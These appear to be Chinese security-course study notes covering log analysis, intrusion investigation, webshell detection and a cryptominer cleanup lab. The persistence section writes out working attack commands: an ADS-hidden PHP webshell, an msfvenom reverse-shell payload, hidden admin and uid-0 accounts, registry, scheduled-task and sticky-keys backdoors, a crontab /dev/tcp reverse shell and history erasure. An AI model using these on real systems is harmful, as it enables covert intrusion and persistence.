C11第十五周
1、复习日志分析常用方法和工具
Windows日志分析
1 系统日志
记录操作系统组件产生的事件,主要包括驱动程序、系统组件和应用软件的崩溃以及数据丢失错误等。
系统日志中记录的时间类型由Windows NT/2000操作系统预先定义。
默认位置:
%SystemRoot%\System32\Winevt\Logs\System.evtx
2 应用程序日志
包含由应用程序或系统程序记录的事件,主要记录程序运行方面的事件,例如数据库程序可以在应用程序日志中记录⽂件错误,程序开发人员可以自行决定监视哪些事件。
默认位置:
%SystemRoot%\System32\Winevt\Logs\Application.evtx
3 安全日志
记录系统的安全审计事件,包含各种类型的登录日志、对象访问日志、进程追踪日志、特权使用、帐号管理、策略变更、系统事件。安全日志也是调查取证中最常用到的日志。默认设置下,安全性日志是关闭的,管理员可以使⽤组策略来启动安全性日志,或者在注册表中设置审核策略,以便当安全性日志满后使系统停止响应。
默认位置:
%SystemRoot%\System32\Winevt\Logs\Security.evtx
审核策略与事件查看器
Windows Server 2008 R2 系统的审核功能在默认状态下并没有启用 ,建议开启审核策略,若日后系统出现故障、安全事故则可以查看系统的日志文件,排除故障,追查入侵者的信息等。
**设置1:**开始 → 管理工具 → 本地安全策略 → 本地策略 → 审核策略,参考配置操作:
**设置2:**设置合理的日志属性,即日志最大小、事件覆盖阀值等:
查看系统日志方法:
- 开始菜单中的管理⼯具中找到事件查看器
- 按 "Window+R",输⼊ ”eventvwr.msc“ 也可以直接进⼊“事件查看器”
日志分析工具
Log Parser
Log Parser(是微软公司出品的⽇志分析⼯具,它功能强打,使用简单,可以分析基于文本的日志⽂件、XML 文件、CSV(逗号分隔符)文件,以及操作系统的事件日志、注册表、文件系统、ActiveDirectory。它可以像使用 SQL 语句⼀样查询分析这些数据,甚至可以把分析结果以各种图表的形式展现出来。
基本查询结构
Logparser.exe –i:EVT –o:DATAGRID "SELECT * FROM c:\xx.evtx"
登录成功的所有事件:
LogParser Lizard
对于GUI环境的Log Parser Lizard,其特点是比较易于使用,甚⾄不需要记忆繁琐的命令,只需要做好设置,写好基本的SQL语句,就可以直观的得到结果。
windows-logs-analysis
可以快速的进行⼀些日志分析,使用的时候需要管理员权限。
Linux日志分析
使用环境:CentOS
日志分析技巧
见Linux入侵排查
Web日志分析
日志分析技巧
在对WEB日志进⾏安全分析时,⼀般可以按照两种思路展开,逐步深入,还原整个攻击过程。
1、确定入侵的时间范围,以此为线索,查找这个时间范围内可疑的日志,进⼀步排查,最终确定攻击者,还原攻击过程。
2、攻击者在入侵网站后,通常会留下后门维持权限,以便再次访问,可以找到该⽂件,并以此为线索来展开分析。
常用分析工具:
Window下,推荐用 EmEditor/Notepad++ 进行日志分析,⽀持大文本,搜索效率不错。
Linux下,使用Shell命令组合查询分析。⼀般结合grep、awk等命令实现常⽤的日志分析统计技巧。
日志统计分析技巧
统计爬虫:
grep -E 'Googlebot|Baiduspider' /www/logs/access.2019-02-23.log | awk '{ print $1 }' | sort | uniq
统计浏览器:
cat /www/logs/access.2019-02-23.log | grep -v -E 'MSIE|Firefox|Chrome|Opera|Safari|Gecko|Maxthon' | sort | uniq -c | sort -r -n | head -n 100
IP 统计:
grep '23/May/2019' /www/logs/access.2019-02-23.log | awk '{print $1}' | awk -F'.' '{print $1"."$2"."$3"."$4}' | sort | uniq -c | sort -r -n | head -n 10
统计网段:
cat /www/logs/access.2019-02-23.log | awk '{print $1}' | awk -F'.' '{print$1"."$2"."$3".0"}' | sort | uniq -c | sort -r -n | head -n 200
统计域名:
cat /www/logs/access.2019-02-23.log | awk '{print $2}' | sort | uniq -c |sort -rn | more
HTTP Status:
cat /www/logs/access.2019-02-23.log | awk '{print $9}' | sort | uniq -c |sort -rn | more
URL统计:
cat /www/logs/access.2019-02-23.log | awk '{print $7}' | sort | uniq -c |sort -rn | more
文件流量统计:
cat /www/logs/access.2019-02-23.log | awk '{sum[$7]+=$10}END{for(i in sum){print sum[i],i}}' | sort -rn | more
grep ' 200 ' /www/logs/access.2019-02-23.log | awk '{sum[$7]+=$10}END{for(i in sum){print sum[i],i}}' | sort -rn | more
URL访问量统计:
cat /www/logs/access.2019-02-23.log | awk '{print $7}' | egrep '\?|&' | sort | uniq -c | sort -rn | more
脚本运行速度:查出运行速度最慢的脚本
grep -v 0$ /www/logs/access.2019-02-23.log | awk -F '\" ' '{print $4" "$1}' web.log | awk '{print $1" "$8}' | sort -n -k 1 -r | uniq > /tmp/slow_url.txt
IP、URL 抽取:
# tail -f /www/logs/access.2019-02-23.log | grep '/test.html' | awk '{print $1" "$7}'
Mysql日志分析
使用环境:DVWA
Mysql 中的 general_log 能记录成功连接和每次执行的查询,我们可以将它用作安全布防的⼀部分,为故障分析或黑客事件后的调查提供依据。
1、查看log配置信息
show variables like '%general%';
2、开启⽇志
SET GLOBAL general_log = 'On';
3、指定⽇志⽂件路径
SET GLOBAL general_log_file = '/var/lib/mysql/mysql.log'; //phpstudy路径C:\phpstudy_pro\Extensions\MySQL5.7.26\data
查看mysql日志文件:
2、复现windows、linux权限维持技巧
windows
环境:Windows Server 2008
隐藏篇
隐藏文件(可以拿下windows权限的文件)
1 利用文件属性
右击文件 > 选择属性 > 隐藏
test.php被隐藏
想看到被隐藏的文件:组织 > 文件夹和搜索选项 > 查看 > 选择“显示隐藏的文件”选项即可
若想做到真正的隐藏文件:调用cmd使用Attrib +s +a +h +r命令(就是把原本的文件增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性)
这时不管是否选择“显示隐藏文件”选项均看不见。之后想要恢复文件的话attrib -s -a -h -r test.php即可
破解隐藏文件:
取消勾选的受保护的操作系统文件 + 选择显示隐藏的文件、文件夹和驱动器。
2 利用ADS隐藏文件内容
在服务器上echo⼀个数据流文件进去,比如index.php是⽹⻚正常文件,将恶意代码写入并生成一个类似index.php且不可见的影子文件index.php:hidden.jpg(常规的文件管理器、type命令,dir命令、del命令发现都找不出hidden.jpg,但通过dir /r可以)
echo ^<?php @eval($_POST['test']);?^> > index.php:hidden.jpg
只要原文件不删除,影子文件就一直存在且内容为写入的恶意代码:查看文件内容`
notepad index.php:hidden.jpg
3 隐藏账号
1.开启远程桌面
2.建立一个用户名为test$,密码为111qqq!的隐藏账户,并且把该隐藏账户提升为管理员权限
net user test$ 111qqq! /add #创建隐藏账号
net localgroup administrators test$ /add # 提升到管理员权限
即用远程桌面mstsc便可登入
这样创建的账号cmdnet user看不到,但在控制面板和本地用户和组是可以显示此用户的,这时管理员若看到此账号会将它删除,为了确保账号的稳定性,可以克隆管理员账号为test$,导出注册表,就算账号删除后也可以通过注册表还原(此外还可以使用此账号的密码登入管理员账号)
3.检测和清理方法:
使⽤D盾_web查杀⼯具,使⽤克隆账号检测功能进⾏查看,可检测出隐藏、克隆账号。
4 进程注入
1.生成⼀个msf后门
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.38.133 LPORT=7764 -f exe > 7764.exe
2.通过后门投递,获得目标机器meterpreter的shell
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.38.133
set lport 7764
run -j #-j 后台进行
3.通过D盾检测能看到7746.exe的可疑进程,为了防止被kill,ps查看所有进程,将7764.exe进程注入正常进程里,实现进程注入
migrate 1356 注⼊进程,getuid发现成为了syetem权限。
后门篇
1 粘滞键后门
电脑连按5次shift便会出现粘滞键提示(是由sethc.exe文件管理,默认情况下是属于TrustedInstaller所有)
1.要修改sethc.exe的安全设置,需要让当前所有者为administrator且保证对其完全控制
位置:C:\Windows\System32
2.开始设置粘滞键后门
move sethc.exe sethc1.exe #将原本的sethc改名为sethc1(备份原文件)
copy cmd.exe sethc.exe #将cmd复制并重命名为sethc
3.此时在登入页面连按5次shift键便可启动cmd,从而不需要登录就可以执行命令了
2 Logon Scripts后门
Logon Scripts是Windows用户登录时触发的脚本程序
1.创建后门(后门位置为注册表 > HKEY_CURRENT_USER\Environment)
注册表进入:regedit
#创建键为:UserInitMprLogonScript,其键值为我们要启动的程序路径
REG ADD "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Administrator\Desktop\7764.exe"
2.用户下次再登入电脑时,便会自动执行已经部署好的后门7764.exe程序,成功拿到shell
3 映像劫持
与粘滞键后门相似,但是操作注册表完成的(HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File ExecutionOptions\此注册表位置添加项sethc.exe,添加debugger键的值为c:\windows\system32\cmd.exe)
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v "Debugger" /t REG_SZ /d "c:\windows\system32\cmd.exe" /f
此时在登入页面连按5次shift键便可启动cmd
4 注册表自启动后门
位置⼀:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
1.添加键值为test1后门程序路径。
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v test1 /t REG_SZ /d "C:\Users\Administrator\Desktop\7764.exe"
2.重新启动自动运运后门程序,上线成功
位置二:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
1.修改键Userinit的值,重启就会自动运行程序
C:\Users\Administrator\Desktop\7764.exe
2.重新启动会自动运行后门程序,上线成功。
5 计划任务后门
1.schtasks命令设定计划自启动后门程序
schtasks /Create /tn Updater /tr C:\Users\Administrator\Desktop\7764.exe /sc minute /mo 1 #每1分钟⾃动执⾏7764.exe
chcp 437 #修改编码
schtasks #查看计划任务
2. 1分钟后收到会话
3.删除计划任务:schtasks /delete /tn Updater
6 服务自启动后门
自启动服务一般是在电脑启动后在后台加载指定的服务程序,我们可以将exe文件注册为服务,也可以将dll文件注册为服务。
sc create test binpath= C:\Users\Administrator\Desktop\7764.exe (注意等号后
⾯有空格)#创建服务
sc config test start= auto #设置服务为⾃动启动
net start test #启动服务
7 组策略设置脚本启动后门
1.首先先创建⼀个脚本1.bat,此处为添加隐藏⽤户,内容如下:
@echo off
net user test$ qqq111! /add
net localgroup administrators test$ /add
exit
本地组策略编辑器进入:gpedit.msc
2.关机后重启发现,已经执行了脚本,新建隐藏账户成功
linux
环境:centos
隐藏篇
1 隐藏文件
Linux 下创建⼀个隐藏文件:touch .1.txt(文件名前面加⼀个点就代表是隐藏文件,用ls -l查看不到ls -al才可以查看)
2 隐藏文件时间戳
Linux下隐藏后门必须要修改时间,否则很容易被发现,直接利用 touch -t参数便可以修改创建时间
touch -t 198801301145.22 today.php #时间格式[[CC]YY]MMDDhhmm[.ss]
3 隐藏权限
使用chattr命令为文件添加锁定属性,来防止root和其他管理用户误删除和修改重要文件及目录,此权限用
ls -l无法查看到,达到隐藏权限的目的
chattr +i one.php #为文件添加锁定属性
删除文件的方法:
lsattr one.php #属性查看
chattr -i one.php #解除锁定
rm -rf one.php #删除文件
4 隐藏历史操作命令
方法一:只针对你的操作关闭历史记录
set +o history #之后的执行的命令都不回被记录
要重新开启历史功能,执行set -o history 命令即可
方法二:从历史记录中删除指定的命令
history | grep chattr #利用grep找到想要删除的命令关键词
history -d 383 #选择命令前对应的编号实现删除
批量删除:
set -i '选择保留最后的命令前对应的编号,$d' ~/.bash_history
后门篇
1 ⼀句话添加用户和密码
创建一个用户名hacker,密码123456的root用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` hacker -o -u 0 -g root -G root -s /bin/bash -d /home/test
cat /etc/shadow #查看
创建的用户拥有管理员权限
可疑用户排查
2 SUID Shell
SUID Shell是⼀种可用于以拥有者权限运行的shell
1.建立一个普通用户hacker2
useradd -p `openssl passwd -1 -salt 'salt' 123456` hacker2
2.将具有管理员权限的文件拷贝进/tmp/shell里,再对文件赋予SUID权限
cp /bin/bash /tmp/shell
chmod u+s /tmp/shell
3.切换hacker2的普通用户,使用/tmp/shell -p,实现拿到root权限
排查技巧:
3 SSH免密登录
前提条件:
- ⽬标机器开启SSH服务且允许密钥登录
- 攻击者拥有⽬标机器的Webshell
在服务端上生成一对公私钥,然后把公钥安装到服务器上(~/.ssh/authorized keys),保留私钥。当ssh登录时,ssh程序会发送私钥去和服务器上的公钥做匹配,如果匹配成功就可以登录了。
1.生成公私钥:执行ssh-keygen -t rsa,过程中按三次回车,在.ssh目录下会生成两个文件,其中 id_rsa为私钥、id_rsa.pub为公钥。
2.在服务器上安装公钥(id_rsa.pub 的内容追加到 /root/.ssh/authorized_keys 内)
cat id_rsa.pub >> authorized_keys
3.开启密钥登录的认证方式:vim /etc/ssh/sshd_config(重启生效service ssh restart)
4.私钥取出保存到本地,利用私钥直接登入成功
4 Crontab反弹shell
1.创建shell脚本1.sh,添加执行权限chmod +x 1.sh
#!/bin/sh
. /etc/profile
. ~/.bash profile
bash -i >& /dev/tcp/ip地址/9999 0>&1
2.crontab -e 设置定时任务
#每⼀分钟执⾏⼀次
*/1 * * * * /root/test/1.sh
3.重启cron服务service cron restart,然后开启监听nc -lvp 9999接收shell
3、复习课件,掌握常见的windows、linux入侵排查思路和方法。
windows入侵排查
环境:Windows Server 2008
1 检查系统账号安全
1、查看服务器是否有弱⼝令,远程管理端⼝是否对公⽹开放。
检查方法:据实际情况咨询相关服务器管理员。
2、查看服务器是否存在可疑账号、新增账号。
检查方法:打开 cmd 窗⼝,输⼊ lusrmgr.msc 命令,查看是否有新增/可疑的账号,如有管理员
群组的(Administrators)⾥的新增账户,如有,请⽴即禁⽤或删除掉。
3、查看服务器是否存在隐藏账号、克隆账号。
检查方法:
a、打开注册表 ,查看管理员对应键值。
b、使⽤D盾_web查杀⼯具,集成了对克隆账号检测的功能。
4、结合日志,查看管理员登录时间、⽤户名是否存在异常。
2 检查异常端口、进程
1、检查端口连接情况,是否有远程连接、可疑连接。
检查方法:
a、netstat -ano 查看⽬前的⽹络连接,定位可疑的ESTABLISHED
b、根据netstat 定位出的pid,再通过tasklist命令进⾏进程定位 tasklist | findstr “PID”
c、使⽤TCPView
TCPView 是⼀个 Windows 程序,可向你显示系统上所有 TCP 和 UDP 终结点的详细列表,包括本地和
远程地址以及 TCP 连接的状态。 TCPView 还会报告拥有该终结点的进程的名称。TCPView 解压后文
件夹中包括 Tcpvcon,这是具有相同功能的命令⾏版本。
2、进程
检查方法:
a、开始--运行--输⼊msinfo32,依次点击“软件环境→正在运⾏任务”就可以查看到进程的详细信息,比如进程路径、进程ID、文件创建日期、启动时间等。
b、打开D盾_web查杀⼯具,进程查看,关注没有签名信息的进程。
c、通过微软官方提供的 Process Explorer 等⼯具进⾏排查 。
d、查看可疑的进程及其⼦进程。可以通过观察以下内容:
- 没有签名验证信息的进程
- 没有描述信息的进程
- 进程的属主
- 进程的路径是否合法
- CPU或内存资源占⽤⻓时间过⾼的进程
3、小技巧
a、查看端⼝对应的PID: netstat -ano | findstr “port”
b、查看进程对应的PID:任务管理器--查看--选择列--PID 或者 tasklist | findstr “PID”
c、查看进程对应的程序位置:
- 任务管理器--选择对应进程--右键打开文件位置
- 运⾏输⼊ wmic,cmd界⾯ 输⼊ process
d、tasklist /svc
e、查看Windows服务所对应的端⼝: %system%/system32/drivers/etc/services(⼀般%system%就是C:\Windows)
3 检查启动项、计划任务、服务
1、检查服务器是否有异常的启动项
检查方法:
a、登录服务器,单击【开始】>【所有程序】>【启动】,默认情况下此⽬录在是⼀个空⽬录,确认是否有⾮业务程序在该⽬录下。
b、单击开始菜单 >【运⾏】,输⼊ msconfig,查看是否存在命名异常的启动项⽬,是则取消勾选命名异常的启动项⽬,并到命令中显示的路径删除文件。
c、单击【开始】>【运⾏】,输⼊ regedit,打开注册表,查看开机启动项是否正常,特别注意如下三个注册表项:
- HKEY_CURRENT_USER\software\micorsoft\windows\currentversion\run
- HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
- HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce
检查右侧是否有启动异常的项⽬,如有请删除,并建议安装杀毒软件进⾏病毒查杀,清除残留病毒或木马。
d、利⽤安全软件查看启动项、开机时间管理等。(以D盾为例)
e、组策略,运行gpedit.msc。
打开组策略 > Windows设置 > 脚本(启动/关机),双机启动选项查看是否存在可疑脚本
2、检查计划任务
检查方法:
a、单击【开始】>【设置】>【管理工具】>【任务计划程序】,查看计划任务属性,便可以发现木马文件的路径。
b、单击【开始】>【运⾏】;输⼊ cmd,然后输⼊at,检查计算机与⽹络上的其它计算机之间的会话或计划任务,如有,则确认是否为正常连接。
3、服务自启动
检查方法:单击【开始】>【运行】,输⼊services.msc,注意服务状态和启动类型,检查是否有异常服务。
4 检查系统相关信息
1、查看系统版本以及补丁信息
检查方法:单击【开始】>【运行】,输⼊systeminfo,查看系统信息
2、查找可疑目录及文件
检查方法:
a、 查看⽤户⽬录,新建账号会在这个⽬录⽣成⼀个⽤户⽬录,查看是否有新建⽤户⽬录。
Window 2003 :C:\Documents and Settings
Window 2008R2 : C:\Users\
b、单击【开始】>【运⾏】,输⼊%UserProfile%\Recent,分析最近打开分析可疑文件
c、在服务器各个目录,可根据文件夹内文件列表时间进⾏排序,查找可疑文件
d、回收站、浏览器下载目录、浏览器历史记录
e、修改时间在创建时间之前的为可疑文件
3、得到发现WEBSHELL、远控⽊⻢的创建时间,如何找出同⼀时间范围内创建的文件?
a、 使⽤以下 PowerShell 脚本搜索指定⽬录及其⼦⽬录中,在某个时间范围内创建的所有文件。
版本低于 3.0 :
$path = "C:\"
$startTime = Get-Date "2024-12-06 14:00:00"
$endTime = Get-Date "2024-12-06 15:00:00"
Get-ChildItem -Path $path -Recurse -File | Where-Object {
$_.CreationTime -ge $startTime -and $_.CreationTime -le $endTime
} | Select-Object FullName, CreationTime | Format-Table -AutoSize
版本不小于3.0:
$path = "C:\"
$startTime = Get-Date "2024-12-06 14:00:00"
$endTime = Get-Date "2024-12-06 15:00:00"
Get-ChildItem -Path $path -Recurse | Where-Object {
-Not $_.PSIsContainer -and $_.CreationTime -ge $startTime -and $_.Creat
ionTime -le $endTime
} | Select-Object FullName, CreationTime | Format-Table -AutoSize
如果出现脚本执行限制的错误,可能需要调整执行策略:
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass
b、利用计算机自带文件搜索功能,指定修改时间进行搜索。
5 自动化查杀
1.病毒查杀
检查方法:下载安全软件,更新最新病毒库,进⾏全盘扫描。
2.webshell查杀
检查方法:选择具体站点路径进行webshell查杀,建议使用两款webshell查杀⼯具同时查杀,可相互补充规则库的不足。
Linux入侵排查
环境:centos
1 账号安全
基本使用
who 查看当前登录⽤户(tty 本地登陆 pts 远程登录)
w 查看系统信息,想知道某⼀时刻⽤户的⾏为
uptime 查看登陆多久、多少⽤户,负载状态
入侵排查
1.查询特权用户(uid为0)
awk -F: '$3==0{print $1}' /etc/passwd
2.查询可以远程登录的账号信息
awk '/\$1|\$6/{print $1}' /etc/shadow
3.除root账号外,其他账号是否存在sudo权限,如非管理需要,普通账号应删除sudo权限
more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
4.禁用或删除多余及可疑的账号
usermod -L user #禁⽤账号,账号⽆法登录,/etc/shadow第⼆栏为!开头
userdel user #删除 user ⽤户
userdel -r user #删除user⽤户同时将/home⽬录下的user⽬录⼀并删除
2 历史命令
入侵排查
#进⼊⽤户⽬录下,导出历史命令。
cat .bash_history >> history.txt
3 检查异常网络连接
使用 netstat 网络连接命令,分析可疑端口、IP、PID
netstat -antlp
查看 pid 所对应的进程文件路径:
运行 ls -l /proc/PID/exe($PID 为对应的 pid 号)
4 检查异常进程
使用 ps 命令,分析进程
ps aux | grep pid
ps是用来显示系统中正在运行的进程信息的命令。
a显示所有用户的进程(包括其他用户的进程)。
u显示用户信息(例如,进程所属用户)。
x显示所有进程,包括没有控制终端的进程(通常是守护进程)。
5 检查开机启动项
启动项⽂件:
/etc/rc.d/rc.local
/etc/rc.d/rc[0~6].d
ls -l /etc/rc.d/rc3.d/
6 检查定时任务
重点关注以下目录中是否存在恶意脚本
/var/spool/cron/*
/etc/crontab
/etc/cron.d/*
/etc/cron.daily/*
/etc/cron.hourly/*
/etc/cron.monthly/*
/etc/cron.weekly/
/etc/anacrontab
/var/spool/anacron/*
比如
more /etc/cron.daily/* 查看/etc/cron.daily/⽬录下的所有⽂件
7 检查服务
自启动服务入侵排查
第⼀种修改方法:
chkconfig [--level 运⾏级别] [独⽴服务名] [on|off]
chkconfig –-level 2345 httpd on 开启⾃启动
chkconfig httpd on (默认level是2345)
第二种修改方法:
修改 /etc/rc.d/rc.local ⽂件
加⼊ /etc/init.d/httpd start
已安装服务入侵排查
RPM包安装的服务
chkconfig --list 查看服务⾃启动状态,可以看到所有的RPM包安装的服务
ps aux | grep crond 查看当前服务
查看系统在3与5级别下的启动项
中⽂环境
chkconfig --list | grep "3:启⽤\|5:启⽤"
英⽂环境
chkconfig --list | grep "3:on\|5:on"
源码包安装的服务
源码包服务的启动管理:/usr/local/
源码包服务的⾃启动管理:/etc/rc.d/init.d/
8 检查异常文件
1、查看敏感目录,如/tmp目录下的⽂件,同时注意隐藏⽂件夹,以“..”为名的文件夹具有隐藏属性。
2、排查Webshell、远控木马的创建时间。
#可以使⽤find命令来查找
find /opt -iname "*" -atime 1 -type f #找出/opt下⼀天前访问过的⽂件
3、针对可疑文件可以使用 stat 查看创建修改时间。
9 检查系统日志
日志默认存放位置:/var/log/
查看日志配置情况:more /etc/rsyslog.conf
日志分析技巧:
1、定位有多少IP在爆破主机的root账号:
grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
2、定位有哪些IP在爆破:
grep "Failed password" /var/log/secure | grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c
3、爆破用户名字典是什么?
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}' | uniq -c | sort -nr
4、登录成功的IP有哪些:
grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
5、登录成功的日期、用户名、IP:
grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'
4、复习webshell后门查杀方法
常见的webshell查杀工具
- D盾_Web查杀(使用自行研发不分扩展名的代码分析引擎,能分析更为隐藏的 WebShell 后门行为;兼容性:只提供 Windows 版本)
- 河马(采用传统特征+云端大数据双引擎的查杀技术,查杀速度快、精度高、误报低;兼容性:支持Windows、Linux,在线查杀)
- Web Shell Detector(具有 WebShell 签名数据库,可帮助识别高达 99% 的 WebShell;兼容性:提供 PHP、Python 脚本,可跨平台,在线检测)
- CloudWalker(一个可执行命令行版本的 Webshell 检测工具;兼容性:只提供 PHP Webshell 的检测。
- PHP Malware Finder(检测Webshell和恶意软件混淆代码的工具;兼容性:只提供 Linux 版本)
手动查杀webshell
如何发现隐藏的后门?
-
MD5校验
-
diff 命令
在 Linux 中,可以使⽤ diff 命令来⽐较两个⽂本⽂件的差异。
-
文件对比工具
-
Beyond Compare
Beyond Compare 是⼀套由 Scooter Software 推出的文件比较⼯具。主要⽤途是对比两个文件夹或者
文件,并将差异以颜色标示,比较范围包括目录,文档内容等。
-
WinMerge
WinMerge 是⼀款运⾏于 Windows 系统下的文件比较和合并⼯具,使⽤它可以非常方便地比较文件夹
和文件,以易于理解的可视文本格式显示差异。
-
5、预习挖矿木马应急实战,相关虚拟机在云盘上
环境:Window Server 2022
应急过程
1、启动机器后找到ip,链接RDP桌面
2、任务管理器找到异常进程
3、打开文件位置
4、题目要求我们计算这个文件的hash
右键双击,上传hash计算器至服务器
挖矿程序的md5:A79D49F425F95E70DDF0C68C18ABC564
5、利用火绒剑,找相关异常
发现异常脚本:
找到挖矿脚本:
编辑脚本,查看内容(发现挖矿木马),即可在启动项里删除或禁用脚本
通过脚本确定是挖矿矿池,记录域名:
钱包地址:
题目要求计算这个脚本的hash
挖矿脚本hash:8414900F4C896964497C2CF6552EC4B9
之后删除脚本
找到挖矿进程杀死(发现异常进程xmrig.exe是由nssm.exe开启进程的)
最后将异常进程对应的c3pool目录删除,至此挖矿木马彻底删除
6、为了已决后患,还需要进行日志分析查看黑客如何入侵,植入挖矿木马的
打开日志分析工具
点击查看登入失败的日志,发现存在暴力破解的痕迹(黑客id为192.168.115.131)
并记录时间2024-05-21 20:25:22
解决方法:修改密码为强口令密码